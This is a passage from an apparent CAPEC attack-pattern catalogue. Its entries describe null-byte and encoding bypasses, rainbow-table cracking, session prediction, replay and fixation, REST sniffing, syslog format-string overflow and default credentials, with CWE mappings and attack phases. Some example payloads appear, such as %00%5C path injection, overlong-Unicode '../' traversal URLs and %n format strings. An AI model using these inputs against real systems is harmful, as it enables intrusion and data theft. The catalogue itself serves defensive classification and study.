  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects postfix null byte(s) to observe how the application handles them as input. The adversary is looking for areas where user input is placed in the middle of a string, and the null byte causes the application to stop processing the string at the end of the user input.
  2. Techniques
    Try different encodings for null such as \0 or %00

Exploit

  1. Remove data after null byte(s): After determined entry points that are vulnerable, the adversary places a null byte(s) such that they remove data after the null byte(s) in a way that is beneficial to them.
  2. Techniques
    If the input is a directory as part of a longer file path, add a null byte(s) at the end of the input to try to traverse to the given directory.
High
  • The program does not properly handle postfix NULL terminators
High: Execution of arbitrary code Medium: Directory traversal Draft High 3.9
267
Postfix, Null Terminate, and Backslash Detailed If a string is passed through a filter of some kind, then a terminal NULL may not be valid. Using alternate representation of NULL allows an adversary to embed the NULL mid-string while postfixing the proper data so that the filter is avoided. One example is a filter that looks for a trailing slash character. If a string insertion is possible, but the slash must exist, an alternate encoding of NULL in mid-string may be used. 2014-06-23 02:00:00 Capec: CAPEC-53
Cwe: CWE-158
Cwe: CWE-172
Cwe: CWE-173
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-707
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Software
  1. A rather simple injection is possible in a URL: http://getAccessHostname/sekbin/helpwin.gas.bat?mode=&draw;=x&file;=x&module;=&locale;=[insert relative path here][%00][%5C]&chapter;= This attack has appeared with regularity in the wild. There are many variations of this kind of attack. Spending a short amount of time injecting against Web applications will usually result in a new exploit being discovered.

Explore

  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects postfix null byte(s) followed by a backslash to observe how the application handles them as input. The adversary is looking for areas where user input is placed in the middle of a string, and the null byte causes the application to stop processing the string at the end of the user input.
  2. Techniques
    Try different encodings for null such as \0 or %00 followed by an encoding for the backslash character.

Exploit

  1. Remove data after null byte(s): After determined entry points that are vulnerable, the adversary places a null byte(s) followed by a backslash such that they bypass an input filter and remove data after the null byte(s) in a way that is beneficial to them.
  2. Techniques
    If the input is a directory as part of a longer file path, add a null byte(s) followed by a backslash at the end of the input to try to traverse to the given directory.
High
  • Null terminators are not properly handled by the filter.
Medium: An adversary needs to understand alternate encodings, what the filter looks for and the data format acceptable to the target API Draft High 3.9
267
Rainbow Table Password Cracking Detailed An attacker gets access to the database table where hashes of passwords are stored. They then use a rainbow table of pre-computed hash chains to attempt to look up the original password. Once the original password corresponding to the hash is obtained, the attacker uses the original password to gain access to the system. A password rainbow table stores hash chains for various passwords. A password chain is computed, starting from the original password, P, via a reduce(compression) function R and a hash function H. A recurrence relation exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn, H(Xn). P and H(Xn) are then stored together in the rainbow table. Constructing the rainbow tables takes a very long time and is computationally expensive. A separate table needs to be constructed for the various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow table is computed, it can be very effective in cracking the passwords that have been hashed without the use of salt. 2014-06-23 02:00:00 Capec: CAPEC-55
Cwe: CWE-261
Cwe: CWE-521
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-654
Cwe: CWE-916
Cwe: CWE-308
Cwe: CWE-309
Attack: T1110.002
2022-02-22 01:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. BusyBox 1.1.1 does not use a salt when generating passwords, which makes it easier for local users to guess passwords from a stolen password file using techniques such as rainbow tables. See also: CVE-2006-1058

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.
  2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).
  3. Obtain password hashes: An attacker gets access to the database table storing hashes of passwords or potentially just discovers a hash of an individual password.
  4. Techniques
    Obtain copy of database table or flat file containing password hashes (by breaking access controls, using SQL Injection, etc.)
    Obtain password hashes from platform-specific storage locations (e.g. Windows registry)
    Sniff network packets containing password hashes.

Exploit

  1. Run rainbow table-based password cracking tool: An attacker finds or writes a password cracking tool that uses a previously computed rainbow table for the right hashing algorithm. It helps if the attacker knows what hashing algorithm was used by the password system.
  2. Techniques
    Run rainbow table-based password cracking tool such as Ophcrack or RainbowCrack. Reduction function must depend on application's/system's password policy.
Medium
  • Hash of the original password is available to the attacker. For a better chance of success, an attacker should have more than one hash of the original password, and ideally the whole table.
  • Salt was not used to create the hash of the original password. Otherwise the rainbow tables have to be re-computed, which is very expensive and will make the attack effectively infeasible (especially if salt was added in iterations).
  • The system uses one factor password based authentication.
  • Rainbow table of password hash chains with the right algorithm used. A password cracking tool that leverages this rainbow table will also be required. Hash(es) of the password is required.
Low: A variety of password cracking tools are available that can leverage a rainbow table. The more difficult part is to obtain the password hash(es) in the first place. Draft Medium 3.9
49
Utilizing REST's Trust in the System Resource to Obtain Sensitive Data Detailed This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The adversary can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the adversary gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme. 2014-06-23 02:00:00 Capec: CAPEC-57
Cwe: CWE-300
Cwe: CWE-287
Cwe: CWE-693
Attack: T1040
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Communications
Software
  1. The Rest service provider uses SSL to protect the communications between the service requester (client) to the service provider. In the instance where SSL is terminated before the communications reach the web server, it is very common in enterprise data centers to terminate SSL at a router, firewall, load balancer, proxy or other device, then the adversary can insert a sniffer into the communication stream and gather all the authentication tokens (such as session credentials, username/passwords combinations, and so on). The Rest service requester and service provider do not have any way to detect this attack.

Explore

  1. Find a REST-style application that uses SSL: The adversary must first find a REST-style application that uses SSL to target. Because this attack is easier to carry out from inside of a server network, it is likely that an adversary could have inside knowledge of how services operate.

Experiment

  1. Insert a listener to sniff client-server communication: The adversary inserts a listener that must exist beyond the point where SSL is terminated. This can be placed on the client side if it is believed that sensitive information is being sent to the client as a response, although most often the listener will be placed on the server side to listen for client authentication information.
  2. Techniques
    Run wireshark or tcpdump on a device that is on the inside of a firewall, load balancer, or router of a network and capture traffic after SSL has been terminated

Exploit

  1. Gather information passed in the clear: If developers have not hashed or encrypted data sent in the sniffed request, the adversary will be able to read this data in the clear. Most commonly, they will now have a username or password that they can use to submit requests to the web service just as an authorized user
Medium
  • Opportunity to intercept must exist beyond the point where SSL is terminated.
  • The adversary must be able to insert a listener actively (proxying the communication) or passively (sniffing the communication) in the client-server communication path.
Low: To insert a network sniffer or other listener into the communication stream Draft Very High 3.9
157
Restful Privilege Elevation Detailed An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages. Rest uses standard HTTP (Get, Put, Delete) style permissions methods, but these are not necessarily correlated generally with back end programs. Strict interpretation of HTTP get methods means that these HTTP Get services should not be used to delete information on the server, but there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server. 2014-06-23 02:00:00 Capec: CAPEC-58
Cwe: CWE-267
Cwe: CWE-269
Reference_from_capec: REF-463
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
Hardware
Software
  1. The HTTP Get method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP Get request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP Get requests. These HTTP Get methods do delete data on the server side, despite being called from Get which is not supposed to alter state.
None High
  • The attacker needs to be able to identify HTTP Get URLs. The Get methods must be set to call applications that perform operations other than get such as update and delete.
Low: It is relatively straightforward to identify an HTTP Get method that changes state on the server side and executes against an over-privileged system interface Draft High 3.9
1 180
Session Credential Falsification through Prediction Detailed This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking. 2014-06-23 02:00:00 Capec: CAPEC-59
Cwe: CWE-290
Cwe: CWE-330
Cwe: CWE-331
Cwe: CWE-346
Cwe: CWE-488
Cwe: CWE-539
Cwe: CWE-200
Cwe: CWE-6
Cwe: CWE-285
Cwe: CWE-384
Cwe: CWE-693
Wasc: 18
Owasp Attacks: Session Prediction
Reference_from_capec: REF-1
2021-06-24 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. Jetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1 before 6.1.0pre3 generates predictable session identifiers using java.util.random, which makes it easier for remote attackers to guess a session identifier through brute force attacks, bypass authentication requirements, and possibly conduct cross-site request forgery attacks. See also: CVE-2006-6969
  2. mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication. See also: CVE-2001-1534

Explore

  1. Find Session IDs: The attacker interacts with the target host and finds that session IDs are used to authenticate users.
  2. Techniques
    An attacker makes many anonymous connections and records the session IDs assigned.
    An attacker makes authorized connections and records the session tokens or credentials issued.
  3. Characterize IDs: The attacker studies the characteristics of the session ID (size, format, etc.). As a results the attacker finds that legitimate session IDs are predictable.
  4. Techniques
    Cryptanalysis. The attacker uses cryptanalysis to determine if the session IDs contain any cryptographic protections.
    Pattern tests. The attacker looks for patterns (odd/even, repetition, multiples, or other arithmetic relationships) between IDs
    Comparison against time. The attacker plots or compares the issued IDs to the time they were issued to check for correlation.

Experiment

  1. Match issued IDs: The attacker brute forces different values of session ID and manages to predict a valid session ID.
  2. Techniques
    The attacker models the session ID algorithm enough to produce a compatible session IDs, or just one match.

Exploit

  1. Use matched Session ID: The attacker uses the falsified session ID to access the target system.
  2. Techniques
    The attacker loads the session ID into their web browser and browses to restricted data or functionality.
    The attacker loads the session ID into their network communications and impersonates a legitimate user to gain access to data or functionality.
High
  • The target host uses session IDs to keep track of the users.
  • Session IDs are used to control access to resources.
  • The session IDs used by the target host are predictable. For example, the session IDs are generated using predictable information (e.g., time).
Low: There are tools to brute force session ID. Those tools require a low level of knowledge. Medium: Predicting Session ID may require more computation work which uses advanced analysis such as statistical analysis. Draft High 3.9
196
Reusing Session IDs (aka Session Replay) Detailed This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay. 2014-06-23 02:00:00 Capec: CAPEC-60
Cwe: CWE-294
Cwe: CWE-290
Cwe: CWE-346
Cwe: CWE-384
Cwe: CWE-488
Cwe: CWE-539
Cwe: CWE-200
Cwe: CWE-285
Cwe: CWE-664
Cwe: CWE-732
Attack: T1134.001
Attack: T1550.004
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. OpenSSL and SSLeay allow remote attackers to reuse SSL sessions and bypass access controls. See also: CVE-1999-0428
  2. Merak Mail IceWarp Web Mail uses a static identifier as a user session ID that does not change across sessions, which could allow remote attackers with access to the ID to gain privileges as that user, e.g. by extracting the ID from the user's answer or forward URLs. See also: CVE-2002-0258

Explore

  1. The attacker interacts with the target host and finds that session IDs are used to authenticate users.
  2. The attacker steals a session ID from a valid user.

Exploit

  1. The attacker tries to use the stolen session ID to gain access to the system with the privileges of the session ID's original owner.
High
  • The target host uses session IDs to keep track of the users.
  • Session IDs are used to control access to resources.
  • The session IDs used by the target host are not well protected from session theft.
Low: If an attacker can steal a valid session ID, they can then try to be authenticated with that stolen session ID. Medium: More sophisticated attack can be used to hijack a valid session from a user and spoof a legitimate user by reusing their valid session ID. Draft High 3.9
593
Session Fixation Detailed The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation. 2014-06-23 02:00:00 Capec: CAPEC-61
Cwe: CWE-384
Cwe: CWE-664
Cwe: CWE-732
Wasc: 37
Owasp Attacks: Session fixation
Reference_from_capec: REF-1
Reference_from_capec: REF-601
2021-06-24 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. Consider a banking application that issues a session identifier in the URL to a user before login, and uses the same identifier to identify the customer following successful authentication. An attacker can easily leverage session fixation to access a victim's account by having the victim click on a forged link that contains a valid session identifier from a trapped session setup by the attacker. Once the victim is authenticated, the attacker can take over the session and continue with the same levels of privilege as the victim.
  2. An attacker can hijack user sessions, bypass authentication controls and possibly gain administrative privilege by fixating the session of a user authenticating to the Management Console on certain versions of Macromedia JRun 4.0. This can be achieved by setting the session identifier in the user's browser and having the user authenticate to the Management Console. Session fixation is possible since the application server does not regenerate session identifiers when there is a change in the privilege levels. See also: CVE-2004-2182

Explore

  1. Setup the Attack: Setup a session: The attacker has to setup a trap session that provides a valid session identifier, or select an arbitrary identifier, depending on the mechanism employed by the application. A trap session is a dummy session established with the application by the attacker and is used solely for the purpose of obtaining valid session identifiers. The attacker may also be required to periodically refresh the trap session in order to obtain valid session identifiers.
  2. Techniques
    The attacker chooses a predefined identifier that they know.
    The attacker creates a trap session for the victim.

Experiment

  1. Attract a Victim: Fixate the session: The attacker now needs to transfer the session identifier from the trap session to the victim by introducing the session identifier into the victim's browser. This is known as fixating the session. The session identifier can be introduced into the victim's browser by leveraging cross site scripting vulnerability, using META tags or setting HTTP response headers in a variety of ways.
  2. Techniques
    Attackers can put links on web sites (such as forums, blogs, or comment forms).
    Attackers can establish rogue proxy servers for network protocols that give out the session ID and then redirect the connection to the legitimate service.
    Attackers can email attack URLs to potential victims through spam and phishing techniques.

Exploit

  1. Abuse the Victim's Session: Takeover the fixated session: Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the fixated session identifier.
  2. Techniques
    The attacker loads the predefined session ID into their browser and browses to protected data or functionality.
    The attacker loads the predefined session ID into their software and utilizes functionality with the rights of the victim.
Medium
  • Session identifiers that remain unchanged when the privilege levels change.
  • Permissive session management mechanism that accepts random user-generated session identifiers
  • Predictable session identifiers
  • None: No specialized resources are required to execute this type of attack.
Low: Only basic skills are required to determine and fixate session identifiers in a user's browser. Subsequent attacks may require greater skill levels depending on the attackers' motives. Draft High 3.9
593
Using Slashes and URL Encoding Combined to Bypass Validation Logic Detailed This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc. 2014-06-23 02:00:00 Capec: CAPEC-64
Cwe: CWE-177
Cwe: CWE-173
Cwe: CWE-172
Cwe: CWE-73
Cwe: CWE-22
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-707
Reference_from_capec: REF-1
Reference_from_capec: REF-495
Reference_from_capec: REF-496
Reference_from_capec: REF-497
Reference_from_capec: REF-498
Reference_from_capec: REF-499
Reference_from_capec: REF-500
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Resource Consumption (Denial of Service)
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
  • Gain Privileges
Software
  1. Attack Example: Combined Encodings CesarFTP Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks. An attacker could provide a URL that included a string like /...%5C/ This is an interesting exploit because it involves an aggregation of several tricks: the escape character, URL encoding, and the triple dot.See also: CVE-2001-1335

Explore

  1. The attacker accesses the server using a specific URL.

Experiment

  1. The attacker tries to encode some special characters in the URL. The attacker find out that some characters are not filtered properly.

Exploit

  1. The attacker crafts a malicious URL string request and sends it to the server.
  2. The server decodes and interprets the URL string. Unfortunately since the input filtering is not done properly, the special characters have harmful consequences.
High
  • The application accepts and decodes URL string request.
  • The application performs insufficient filtering/canonicalization on the URLs.
Low: An attacker can try special characters in the URL and bypass the URL validation. Medium: The attacker may write a script to defeat the input filtering mechanism. Draft High 3.9
267
Sniff Application Code Detailed An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server. 2014-06-23 02:00:00 Capec: CAPEC-65
Cwe: CWE-319
Cwe: CWE-311
Cwe: CWE-318
Cwe: CWE-693
Attack: T1040
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Communications
Software
  1. Attacker receives notification that the computer/OS/application has an available update, loads a network sniffing tool, and extracts update data from subsequent communication. The attacker then proceeds to reverse engineer the captured stream to gain sensitive information, such as encryption keys, validation algorithms, applications patches, etc..
  2. Plain code, such as applets or JavaScript, is also part of the executing application. If such code is transmitted unprotected, the attacker can capture the code and possibly reverse engineer it to gain sensitive information, such as encryption keys, validation algorithms and such.

Explore

  1. Set up a sniffer: The adversary sets up a sniffer in the path between the server and the client and watches the traffic.
  2. Techniques
    The adversary sets up a sniffer in the path between the server and the client.

Exploit

  1. [Capturing Application Code Bound During Patching]adversary knows that the computer/OS/application can request new applications to install, or it periodically checks for an available update. The adversary loads the sniffer set up during Explore phase, and extracts the application code from subsequent communication. The adversary then proceeds to reverse engineer the captured code.
  2. Techniques
    adversary loads the sniffer to capture the application code bound during a dynamic update.
    The adversary proceeds to reverse engineer the captured code.
Low
  • The attacker must have the ability to place themself in the communication path between the client and server.
  • The targeted application must receive some application code from the server; for example, dynamic updates, patches, applets or scripts.
  • The attacker must be able to employ a sniffer on the network without being detected.
  • The Attacker needs the ability to capture communications between the client being updated and the server providing the update. In the case that encryption obscures client/server communication the attacker will either need to lift key material from the client.
Medium: The attacker needs to setup a sniffer for a sufficient period of time so as to capture meaningful quantities of code. The presence of the sniffer should not be detected on the network. Also if the attacker plans to employ an adversary-in-the-middle attack (CAPEC-94), the client or server must not realize this. Finally, the attacker needs to regenerate source code from binary code if the need be. Draft High 3.9
157
String Format Overflow in syslog() Detailed This attack targets applications and software that uses the syslog() function insecurely. If an application does not explicitely use a format string parameter in a call to syslog(), user input can be placed in the format string parameter leading to a format string injection attack. Adversaries can then inject malicious format string commands into the function call leading to a buffer overflow. There are many reported software vulnerabilities with the root cause being a misuse of the syslog() function. 2014-06-23 02:00:00 Capec: CAPEC-67
Cwe: CWE-120
Cwe: CWE-134
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-697
Wasc: 06
Reference_from_capec: REF-1
Reference_from_capec: REF-503
Reference_from_capec: REF-504
Reference_from_capec: REF-505
Reference_from_capec: REF-506
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
Software
  1. Format string vulnerability in TraceEvent function for ntop before 2.1 allows remote adversaries to execute arbitrary code by causing format strings to be injected into calls to the syslog function, via (1) an HTTP GET request, (2) a user name in HTTP authentication, or (3) a password in HTTP authentication. See also: CVE-2002-0412

Explore

  1. Identify target application: The adversary identifies a target application or program to perform the buffer overflow on. In this attack, adversaries look for applications that use syslog() incorrectly.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer. For each user-controllable input that the adversary suspects is vulnerable to format string injection, attempt to inject formatting characters such as %n, %s, etc.. The goal is to manipulate the string creation using these formatting characters.
  2. Techniques
    Inject probe payload which contains formatting characters (%s, %d, %n, etc.) through input parameters.
  3. Craft overflow content: The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversaries' choosing which points to code injected by the adversary.
  4. Techniques
    The formatting characters %s and %d are useful for observing memory and trying to print memory addresses. If an adversary has access to the log being written to they can observer this output and use it to help craft their attack.
    The formatting character %n is useful for adding extra data onto the buffer.

Exploit

  1. Overflow the buffer: Using the injection vector, the adversary supplies the program with the crafted format string injection, causing a buffer.
High
  • The Syslog function is used without specifying a format string argument, allowing user input to be placed direct into the function call as a format string.
Draft Very High 3.9
Try Common or Default Usernames and Passwords Detailed An adversary may try certain common or default usernames and passwords to gain access into the system and perform unauthorized actions. An adversary may try an intelligent brute force using empty passwords, known vendor default credentials, as well as a dictionary of common usernames and passwords. Many vendor products come preconfigured with default (and thus well-known) usernames and passwords that should be deleted prior to usage in a production environment. It is a common mistake to forget to remove these default login credentials. Another problem is that users would pick very simple (common) passwords (e.g. "secret" or "password") that make it easier for the attacker to gain access to the system compared to using a brute force attack or even a dictionary attack using a full dictionary. 2014-06-23 02:00:00 Capec: CAPEC-70
Cwe: CWE-521
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-798
Cwe: CWE-654
Cwe: CWE-308
Cwe: CWE-309
Attack: T1078.001
Reference_from_capec: REF-572
Reference_from_capec: REF-574
Reference_from_capec: REF-596
Reference_from_capec: REF-597
2021-06-24 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. A user sets their password to "123" or intentionally leaves their password blank. If the system does not have password strength enforcement against a sound password policy, this password may be admitted. Passwords like these two examples are two simple and common passwords that are easily able to be guessed by the adversary.
  2. Cisco 2700 Series Wireless Location Appliances (version 2.1.34.0 and earlier) have a default administrator username "root" with a password "password". This allows remote attackers to easily obtain administrative privileges. See also: CVE-2006-5288
  3. In April 2019, adversaries attacked several popular IoT devices (a VOIP phone, an office printer, and a video decoder) across multiple customer locations. An investigation conducted by the Microsoft Security Resposne Center (MSRC) discovered that these devices were used to gain initial access to corporate networks. In two of the cases, the passwords for the devices were deployed without changing the default manufacturer’s passwords and in the third instance the latest security update had not been applied to the device. [REF-572]
None Medium
  • The system uses one factor password based authentication.The adversary has the means to interact with the system.
  • Technology or vendor specific list of default usernames and passwords.
Low: An adversary just needs to gain access to common default usernames/passwords specific to the technologies used by the system. Additionally, a brute force attack leveraging common passwords can be easily realized if the user name is known. Draft High 3.9
49
Using Unicode Encoding to Bypass Validation Logic Detailed An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly. 2014-06-23 02:00:00 Capec: CAPEC-71
Cwe: CWE-176
Cwe: CWE-179
Cwe: CWE-180
Cwe: CWE-173
Cwe: CWE-172
Cwe: CWE-184
Cwe: CWE-183
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-692
Owasp Attacks: Unicode Encoding
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Bypass Protection Mechanism
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. A very common technique for a Unicode attack involves traversing directories looking for interesting files. An example of this idea applied to the Web is http://target.server/some_directory/../../../winnt In this case, the attacker is attempting to traverse to a directory that is not supposed to be part of standard Web services. The trick is fairly obvious, so many Web servers and scripts prevent it. However, using alternate encoding tricks, an attacker may be able to get around badly implemented request filters. In October 2000, an adversary publicly revealed that Microsoft's IIS server suffered from a variation of this problem. In the case of IIS, all the attacker had to do was provide alternate encodings for the dots and/or slashes found in a classic attack. The Unicode translations are . yields C0 AE/ yields C0 AF\ yields C1 9C Using this conversion, the previously displayed URL can be encoded as http://target.server/some_directory/%C0AE/%C0AE/%C0AE%C0AE/%C0AE%C0AE/winntSee also: CVE-2000-0884

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe entry points to locate vulnerabilities: The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various Unicode encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Try to use Unicode encoding of content in Scripts in order to bypass validation routines.
    Try to use Unicode encoding of content in HTML in order to bypass validation routines.
    Try to use Unicode encoding of content in CSS in order to bypass validation routines.
Medium
  • Filtering is performed on data that has not be properly canonicalized.
Medium: An attacker needs to understand Unicode encodings and have an idea (or be able to find out) what system components may not be Unicode aware. Draft High 3.9
267
URL Encoding Detailed This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent- encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An adversary will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode- encoding, etc. The adversary could also subvert the meaning of the URL string request by encoding the data being sent to the server through a GET request. For instance an adversary may subvert the meaning of parameters used in a SQL request and sent through the URL string (See Example section). 2014-06-23 02:00:00 Capec: CAPEC-72
Cwe: CWE-173
Cwe: CWE-177
Cwe: CWE-172
Cwe: CWE-73
Cwe: CWE-74
Cwe: CWE-20
Reference_from_capec: REF-1
Reference_from_capec: REF-495
Reference_from_capec: REF-496
Reference_from_capec: REF-497
Reference_from_capec: REF-498
Reference_from_capec: REF-499
Reference_from_capec: REF-500
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Resource Consumption (Denial of Service)
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
